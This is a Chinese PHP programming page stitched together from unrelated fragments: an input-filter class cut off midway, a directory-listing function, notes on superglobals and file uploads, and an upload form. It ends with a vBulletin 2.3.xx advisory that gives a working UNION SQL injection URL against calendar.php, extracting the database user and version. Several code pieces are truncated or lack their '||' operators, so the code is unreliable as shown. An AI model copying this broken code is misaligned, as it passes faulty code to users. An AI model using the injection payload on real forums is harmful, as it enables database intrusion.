您的位置：首页 > 编程技术 > php  >  Get或Post提交值的非法数据处理

Get或Post提交值的非法数据处理

 更新时间：2016年11月25日 15:20  点击：2097

Get或Post提交值的非法数据处理
<?php
//********************************************************
//-- 程序名称：StrSwap V1.01
//-- 程序编写：[email]cngift@163.com[/email]
//-- 完成： 2002-8-1
//-- 程序用途：Get或Post提交值的非法数据处理
//-- 备注： 本程序需要加载在所有程序处理前使用，以便自动进行
//-- 程序中使用的变量的替换
//-- 由于发现严重BUG紧急升级
//-- Copyright By cngift ◎ 2002
//********************************************************
class StrSwap{
//当以Get方式提交变量时用于连接变量的连接符
var $GetSplitStr = "&&";
var $TempArray = array();
var $VariableArray = array();
//********************************************************
//-- 程序名称：Main()
//-- 程序用途：本类的默认运行方式
//-- 传入参数：无
//********************************************************
function Main(){
global $REQUEST_METHOD;
if("GET"==$REQUEST_METHOD){
$this->SubGetStrToArray();
}
if("POST"==$REQUEST_METHOD){
$this->SubPostStrToArray();
}
$this->GlobalVariable();
}
//********************************************************
//-- 程序名称：SubGetStrToArray()
//-- 程序用途：当变量以Get方式提交时所调用的方法
//-- 传入参数：无
//********************************************************
function SubGetStrToArray(){
global $QUERY_STRING;
$this->TempArray = explode($this->GetSplitStr,$QUERY_STRING);
for($i=0;$i<sizeof($this->TempArray);$i++){
$temp = explode('=',$this->TempArray[$i]);
$this->VariableArray[$i][0] = $temp[0];
$this->VariableArray[$i][1] = $this->StrReplace($temp[1]);
}
}
//********************************************************
//-- 程序名称：SubPostStrToArray()
//-- 程序用途：当变量以POST方式提交时所调用的方法
//-- 传入参数：无
//********************************************************

一个目录遍历函数
<?php
function dirtree($path="./test") {
    echo "<dl>";
    $d = dir($path);
    while(false !== ($v = $d->read())) {
    if($v == "."
$v == "..")
        continue;
    $file = $d->path."/".$v;
    echo "<dt>$v";
    if(is_dir($file))
        dirtree($file);
    }
    $d->close();
    echo "</dl>";
}
dirtree();
?>


PHP中的超全局变量
从PHP 4.2.0 开始，register_globals 的默认值为 off，这样一来，以前的很多可以直接使用的变量，如 $PHP_SELF 或者你设定的SESSION变量都不能用 “$变量名”的形式访问了，这可能会给你带来很多不变，但却有助于安全性的提高。访问这些变量，你需要使用PHP 超全局变量，如下：
$_SERVER
变量由 Web 服务器设定或者直接与当前脚本的执行环境相关联。类似于旧数组 $HTTP_SERVER_VARS 数组。以前的$PHP_SELF对应$_SERVER['PHP_SELF']，你可以使用phpinfo来查看你的$_SERVER变量。
$_GET
经由 HTTP GET 方法提交至脚本的变量。类似于旧数组 $HTTP_GET_VARS 数组。
$_POST
经由 HTTP POST 方法提交至脚本的变量。类似于旧数组 $HTTP_POST_VARS 数组。
$_COOKIE
经由 HTTP Cookies 方法提交至脚本的变量。类似于旧数组 $HTTP_COOKIE_VARS 数组。
$_SESSION
当前注册给脚本会话的变量。类似于旧数组 $HTTP_SESSION_VARS 数组。
$_FILES
经由 HTTP POST 文件上传而提交至脚本的变量。类似于旧数组 $HTTP_POST_FILES 数组。
$_ENV
执行环境提交至脚本的变量。类似于旧数组 $HTTP_ENV_VARS 数组。
====================================================================
对于$_FILES变量：（文件域字段为“myfile”）
$_FILES['myfile']['name']    
客户端机器文件的原名称（包括路径）。
$_FILES['myfile']['type']    
文件的 MIME 类型，需要浏览器提供该信息的支持，例如“image/gif”。
$_FILES['myfile']['size']    
已上传文件的大小，单位为字节。
 
$_FILES['myfile']['tmp_name']    
文件被上传后在服务端储存的临时文件名（包括路径）。
$_FILES['myfile']['error']    
和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。
 
当 php.ini 中的 register_globals 被设置为 on 时，$myfile_name 等价于 $_FILES['myfile']['name']，$myfile_type 等价于 $_FILES['myfile']['type']等。

多文件上传的例子
//upload_html.php---------------------------------------------------------------------------------------------
<HTML>
<HEAD>
<TITLE>上传文件</TITLE>
</HEAD>
<script>
function beforesubmit(forma)
{
   var indexnamea=forma.indexname.value;
   var upfilea=forma.upfile.value;
   var k=/ /g;
   var indexnamea=indexnamea.replace(k,"");
   var upfilea=upfilea.replace(k,"");
   if(indexnamea==""
upfilea=="")
   {
        alert("目录名称或上传的目录不能为空!");
        return false;
   }
   return true;
}
</script>
<BODY BGCOLOR=WHITE>
<BR>
<form name=form1 action="upload.php" method=post enctype="multipart/form-data" > ";
<table cellspacing="1" cellpadding="5" border="0" width="580" bgcolor="#C2E2F5">
    <tr bgcolor="#E3F2FB" align="center">    
    <td width="280" align="center" height="30">上传的文件</td>
    </tr>
<?
for($i=1;$i<8;$i++)   
{
    $upfile="upfile".strval($i);
    echo "    <tr> ";    
    echo "       <td bgcolor=#F5FBFE width=264><input type=file name=$upfile lengh=25></td> ";
    echo "    </tr> ";    
}
?>
    <tr bgcolor="#E3F2FB">
    <td colspan="2" height="1">    
    </td>

vBulletin Forum 2.3.xx SQL Injection
There exist a sql injection problem in calendar.php.
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
        $eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could be used.
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.

[!--infotagslink--]

相关文章

  • C#连接SQL数据库和查询数据功能的操作技巧

    本文给大家分享C#连接SQL数据库和查询数据功能的操作技巧，本文通过图文并茂的形式给大家介绍的非常详细，需要的朋友参考下吧...2021-05-17

  • php简单数据操作的实例

    最基础的对数据的增加删除修改操作实例，菜鸟们收了吧...2013-09-26

  • 解决Mybatis 大数据量的批量insert问题

    这篇文章主要介绍了解决Mybatis 大数据量的批量insert问题，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2021-01-09

  • Antd-vue Table组件添加Click事件,实现点击某行数据教程

    这篇文章主要介绍了Antd-vue Table组件添加Click事件,实现点击某行数据教程，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2020-11-17

  • 详解如何清理redis集群的所有数据

    这篇文章主要介绍了详解如何清理redis集群的所有数据，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧...2021-02-18

  • vue 获取到数据但却渲染不到页面上的解决方法

    这篇文章主要介绍了vue 获取到数据但却渲染不到页面上的解决方法，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧...2020-11-19

  • php把读取xml 文档并转换成json数据代码

    在php中解析xml文档用专门的函数domdocument来处理，把json在php中也有相关的处理函数，我们要把数据xml 数据存到一个数据再用json_encode直接换成json数据就OK了。...2016-11-25

  • mybatis-plus 处理大数据插入太慢的解决

    这篇文章主要介绍了mybatis-plus 处理大数据插入太慢的解决，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧...2020-12-18

  • postgresql数据添加两个字段联合唯一的操作

    这篇文章主要介绍了postgresql数据添加两个字段联合唯一的操作，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2021-02-04

  • JS中artdialog弹出框控件之提交表单思路详解

    artDialog是一个基于javascript编写的对话框组件，它拥有精致的界面与友好的接口。本文给大家介绍JS中artdialog弹出框控件之提交表单思路详解，对本文感兴趣的朋友一起学习吧...2016-04-19

  • Vue生命周期activated之返回上一页不重新请求数据操作

    这篇文章主要介绍了Vue生命周期activated之返回上一页不重新请求数据操作，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2020-07-26

  • c# socket网络编程接收发送数据示例代码

    这篇文章主要介绍了c# socket网络编程,server端接收,client端发送数据,大家参考使用吧...2020-06-25

  • vue 数据(data)赋值问题的解决方案

    这篇文章主要介绍了vue 数据(data)赋值问题的解决方案，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2021-03-29

  • 解决vue watch数据的方法被调用了两次的问题

    这篇文章主要介绍了解决vue watch数据的方法被调用了两次的问题，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2020-11-07

  • Python3 常用数据标准化方法详解

    这篇文章主要介绍了Python3 常用数据标准化方法详解，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2021-03-24

  • vue项目,代码提交至码云,iconfont的用法说明

    这篇文章主要介绍了vue项目,代码提交至码云,iconfont的用法说明，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2020-07-30

  • angularjs $http实现form表单提交示例

    这篇文章主要介绍了angularjs $http实现form表单提交示例，非常具有实用价值，需要的朋友可以参考下 ...2017-06-15

  • node.js从数据库获取数据

    这篇文章主要为大家详细介绍了node.js从数据库获取数据的具体代码，nodejs可以获取具体某张数据表信息，感兴趣的朋友可以参考一下...2016-05-09

  • 分享MYSQL插入数据时忽略重复数据的方法

    使用下以两种方法时必须把字段设为”主键(PRIMARY KEY”或”唯一约束(UNIQUE)”。1：使用REPLACE INTO (此种方法是利用替换的方法，有点似类于先删除再插入) 复制代码 代码如下:REPLACE INTO Syntax REPLACE [LOW_PRIO...2013-10-04

  • PostgreSQL 恢复误删数据的操作

    这篇文章主要介绍了PostgreSQL 恢复误删数据的操作，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2021-01-18